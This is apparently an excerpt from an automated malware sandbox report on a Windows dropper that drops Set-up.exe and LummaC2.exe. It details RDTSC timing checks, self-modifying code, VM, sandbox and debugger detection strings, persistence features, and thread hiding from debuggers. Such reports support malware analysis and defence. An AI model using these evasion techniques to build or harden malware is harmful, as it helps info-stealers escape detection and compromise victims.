Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 18D67F9 second address: 18D6823 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5B54E8FCBEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a pushad 0x0000000b push ecx 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 pop ecx 0x00000011 je 00007F5B54E8FCB8h 0x00000017 pushad 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b js 00007F5B54E8FCB6h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 18D6823 second address: 18D6827 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 18D49EE second address: 18D4A03 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5B54E8FCC1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 18D4A03 second address: 18D4A08 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 18D4A08 second address: 18D4A46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F5B54E8FCB6h 0x0000000a pushad 0x0000000b popad 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e popad 0x0000000f js 00007F5B54E8FCC3h 0x00000015 jmp 00007F5B54E8FCBDh 0x0000001a pop edx 0x0000001b pop eax 0x0000001c pushad 0x0000001d jmp 00007F5B54E8FCBBh 0x00000022 push edx 0x00000023 js 00007F5B54E8FCB6h 0x00000029 push edx 0x0000002a pop edx 0x0000002b pop edx 0x0000002c push eax 0x0000002d push edx 0x0000002e push eax 0x0000002f push edx 0x00000030 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 18D4A46 second address: 18D4A50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F5B54D09366h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 18D4B89 second address: 18D4B8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 18D4EA5 second address: 18D4EC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F5B54D09366h 0x0000000a popad 0x0000000b jbe 00007F5B54D09372h 0x00000011 ja 00007F5B54D09366h 0x00000017 je 00007F5B54D09366h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 18D4EC2 second address: 18D4ED6 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F5B54E8FCBAh 0x00000008 js 00007F5B54E8FCCFh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 18D51E6 second address: 18D51F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 jns 00007F5B54D09366h 0x0000000d jng 00007F5B54D09366h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 18D51F9 second address: 18D520A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5B54E8FCBDh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 18D520A second address: 18D522F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jg 00007F5B54D09366h 0x0000000e jmp 00007F5B54D09377h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 18D5379 second address: 18D537D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 18D54BF second address: 18D54C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 18D54C5 second address: 18D54C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 18D5E1D second address: 18D5E34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5B54D0936Fh 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 18D5E34 second address: 18D5E38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 18D98BE second address: 18D98E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F5B54D09366h 0x0000000a popad 0x0000000b jmp 00007F5B54D0936Bh 0x00000010 pop eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F5B54D0936Dh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 18EC09B second address: 18EC0A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop ecx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 18EC1EF second address: 18EC1F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 18EEB0B second address: 18EEB11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 18F4F87 second address: 18F4F8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 18F4F8D second address: 18F4F9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push edi 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edi 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 18F4F9C second address: 18F4FAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5B54D0936Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 18F4FAC second address: 18F4FD9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 jg 00007F5B54E8FCF3h 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F5B54E8FCC8h 0x00000014 jng 00007F5B54E8FCB6h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 18F5158 second address: 18F515E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 18F515E second address: 18F516B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jo 00007F5B54E8FCBEh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 18F516B second address: 18F5171 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 18FEDEB second address: 18FEDF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 18FEDF2 second address: 18FEDF7 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 18FEDF7 second address: 18FEE02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop esi 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 19007E1 second address: 1900801 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5B54D09376h 0x00000007 jno 00007F5B54D09366h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 1903466 second address: 190346E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 1909BA9 second address: 1909BAD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 190A019 second address: 190A026 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 js 00007F5B54E8FCBCh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 190E931 second address: 190E959 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F5B54D09366h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b jnc 00007F5B54D09366h 0x00000011 pop esi 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F5B54D09374h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 1913822 second address: 1913831 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 push esi 0x0000000a pop esi 0x0000000b push edx 0x0000000c pop edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 1913831 second address: 191383F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jnp 00007F5B54D09366h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 191383F second address: 1913844 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 1918184 second address: 1918194 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 jnl 00007F5B54D09366h 0x0000000b pop ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 1918194 second address: 191819A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 191819A second address: 19181AD instructions: 0x00000000 rdtsc 0x00000002 ja 00007F5B54D09366h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 1929DE4 second address: 1929DEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 192CCAC second address: 192CCB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 192CCB1 second address: 192CCBC instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jnl 00007F5B54E8FCB6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 192CCBC second address: 192CCD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 jno 00007F5B54D09366h 0x0000000d jmp 00007F5B54D0936Bh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 192CA20 second address: 192CA24 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 1935307 second address: 1935319 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5B54D0936Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 1935319 second address: 193532B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 jmp 00007F5B54E8FCBAh 0x0000000c pop edi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 193532B second address: 1935331 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 19356F2 second address: 19356F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 19356F6 second address: 1935713 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5B54D09377h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 1935713 second address: 1935719 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 1935719 second address: 193572B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5B54D0936Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 19359C7 second address: 1935A10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F5B54E8FCB6h 0x0000000a pop ecx 0x0000000b ja 00007F5B54E8FCCCh 0x00000011 jmp 00007F5B54E8FCC6h 0x00000016 pop esi 0x00000017 pushad 0x00000018 push ebx 0x00000019 jmp 00007F5B54E8FCC0h 0x0000001e pop ebx 0x0000001f push eax 0x00000020 jmp 00007F5B54E8FCBBh 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 193940C second address: 1939414 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 1939414 second address: 1939427 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F5B54E8FCBEh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 1938E47 second address: 1938E4C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 1938E4C second address: 1938E64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5B54E8FCC0h 0x00000009 pop esi 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 193E632 second address: 193E648 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F5B54D0936Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 1941F16 second address: 1941F27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 jp 00007F5B54E8FCB6h 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 pop eax 0x00000011 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 1941AA7 second address: 1941AAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 1941AAD second address: 1941AB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 1941AB1 second address: 1941AEB instructions: 0x00000000 rdtsc 0x00000002 js 00007F5B54D09366h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jc 00007F5B54D09366h 0x00000011 jmp 00007F5B54D0936Ch 0x00000016 push esi 0x00000017 pop esi 0x00000018 popad 0x00000019 push ecx 0x0000001a push ebx 0x0000001b pop ebx 0x0000001c pop ecx 0x0000001d popad 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 popad 0x00000024 jmp 00007F5B54D0936Fh 0x00000029 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 1941AEB second address: 1941AEF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 1941AEF second address: 1941AF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	RDTSC instruction interceptor: First address: 1943B89 second address: 1943B8E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	Special instruction interceptor: First address: 16AD91F instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	Special instruction interceptor: First address: 1846B7A instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	Special instruction interceptor: First address: 1846854 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	Special instruction interceptor: First address: 18E3AF4 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	Memory allocated: 5E80000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	Memory allocated: 60D0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	Memory allocated: 5FD0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\QzK1LCSuq2.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\QzK1LCSuq2.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\Desktop\QzK1LCSuq2.exe TID: 6036

Thread sleep time: -922337203685477s >= -30000s

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\Set-up.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\Desktop\QzK1LCSuq2.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: QzK1LCSuq2.exe, QzK1LCSuq2.exe, 00000000.00000002.1751265655.000000000182B000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: Set-up.exe.0.dr	Binary or memory string: SYSTEM\ControlSet001\Services\VBoxSF
Source: QzK1LCSuq2.exe, 00000000.00000003.1710079938.0000000005D80000.00000004.00001000.00020000.00000000.sdmp, QzK1LCSuq2.exe, 00000000.00000002.1750730410.0000000000FD2000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: <Module>ladddad.exeProgramStubWriterRunnerRunTimeAntiAntismscorlibSystemObjectdelaydelayTimeantiVMantiSandboxantiDebugantiEmulatorenablePersistenceenableFakeErrorencryptTypecompressedcversSystem.Collections.GenericList`1fileNamesfileTypesfileRunTypesfileDropPathsMainDecompressEncryptOrDecryptXORDecryptEncryptInitalizeIEnumerable`1EncryptOutputSwapGetResourceRunOnStartup.ctorWriteAllBytesExecuteDetectVirtualMachineGetModuleHandleDetectSandboxieCheckRemoteDebuggerPresentDetectDebuggerCheckEmulatordatatextkeysijfileregNameAppPathHidefileBytesfinalPathpathrunTypelpModuleNamehProcessisDebuggerPresentSystem.ReflectionAssemblyTitleAttributeAssemblyDescriptionAttributeAssemblyCompanyAttributeAssemblyProductAttributeAssemblyCopyrightAttributeAssemblyTrademarkAttributeAssemblyFileVersionAttributeAssemblyVersionAttributeSystem.Runtime.InteropServicesComVisibleAttributeGuidAttributeSystem.Runtime.CompilerServicesCompilationRelaxationsAttributeRuntimeCompatibilityAttributeladddadEnvironmentExitSystem.ThreadingThreadSleepget_ItemStringop_EqualitySystem.TextEncodingget_UnicodeGetBytesConcatSystem.IOPathCombineget_CountMemoryStreamSystem.IO.CompressionDeflateStreamStreamCompressionModeCopyToIDisposableDisposeToArrayByteSystem.CoreSystem.LinqEnumerable<EncryptInitalize>b__0Func`2CS$<>9__CachedAnonymousMethodDelegate1CompilerGeneratedAttributeRangeSelect<>c__DisplayClass3<EncryptOutput>b__2bAssemblyGetExecutingAssemblySystem.ResourcesResourceManagerGetObjectAppDomainget_CurrentDomainget_FriendlyNameFileExistsGetEntryAssemblyget_Locationop_InequalityCopyFileAttributesGetAttributesSetAttributesMicrosoft.Win32RegistryRegistryKeyLocalMachineget_UTF8GetStringOpenSubKeySetValueCurrentUserException.cctorConvertFromBase64StringAddGetTempPathSystem.DiagnosticsProcessProcessStartInfoget_StartInfoset_FileNameStartSystem.ManagementManagementObjectSearcherManagementObjectCollectionGetManagementObjectEnumeratorGetEnumeratorManagementBaseObjectget_CurrentToStringToLowerToUpperInvariantContainsMoveNextDllImportAttributekernel32.dllIntPtrToInt32GetCurrentProcessget_HandleDateTimeget_Nowget_Ticksiujwdkvbji0.resources
Source: Set-up.exe, 00000002.00000003.1755733534.0000000001155000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll77d
Source: QzK1LCSuq2.exe, 00000000.00000002.1750730410.0000000000FD2000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: vmware
Source: Set-up.exe	Binary or memory string: Hyper-V RAW
Source: QzK1LCSuq2.exe, QzK1LCSuq2.exe, 00000000.00000003.1710079938.0000000005D80000.00000004.00001000.00020000.00000000.sdmp, QzK1LCSuq2.exe, 00000000.00000002.1750730410.0000000000FD2000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: DetectVirtualMachine
Source: Set-up.exe.0.dr	Binary or memory string: SYSINTERNALSNum_processorNum_ramnameallfreedriversNum_displaysresolution_xresolution_y\recent_filesprocessesuptime_minutesC:\Windows\System32\VBox.dll01vbox_firstSYSTEM\ControlSet001\Services\VBoxSFvbox_secondC:\USERS\PUBLIC\public_checkWINDBG.EXEdbgwireshark.exeprocmon.exex64dbg.exeida.exedbg_secdbg_thirdyadroinstalled_appsSOFTWARE\Microsoft\Windows\CurrentVersion\UninstallSOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall%d%s\%sDisplayNameapp_nameindexCreateToolhelp32Snapshot failed.
Source: Set-up.exe, 00000002.00000003.1755983812.0000000001077000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Y\MACHINE\SYSTEM\ControlSet001\Services\VBoxSFsion\Uninstall\{90160000-008C-0000-0000-0000000FF1CE}00000FF1CE}\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\{90160000-008C-0000-0000-0000000FF1CE}
Source: QzK1LCSuq2.exe, 00000000.00000002.1751265655.000000000182B000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: Set-up.exe, 00000002.00000003.2009213951.000000000119C000.00000004.00000020.00020000.00000000.sdmp, Set-up.exe, 00000002.00000002.2010982895.00000000011BA000.00000004.00000020.00020000.00000000.sdmp, Set-up.exe, 00000002.00000003.2009521084.00000000011B9000.00000004.00000020.00020000.00000000.sdmp, Set-up.exe, 00000002.00000003.2009498911.00000000011A9000.00000004.00000020.00020000.00000000.sdmp, Set-up.exe, 00000002.00000003.2009422794.00000000011A1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\AppData\Local\Temp\LummaC2.exe

API call chain: ExitProcess graph end node

graph_1-13104

Source: C:\Users\user\Desktop\QzK1LCSuq2.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\QzK1LCSuq2.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\QzK1LCSuq2.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

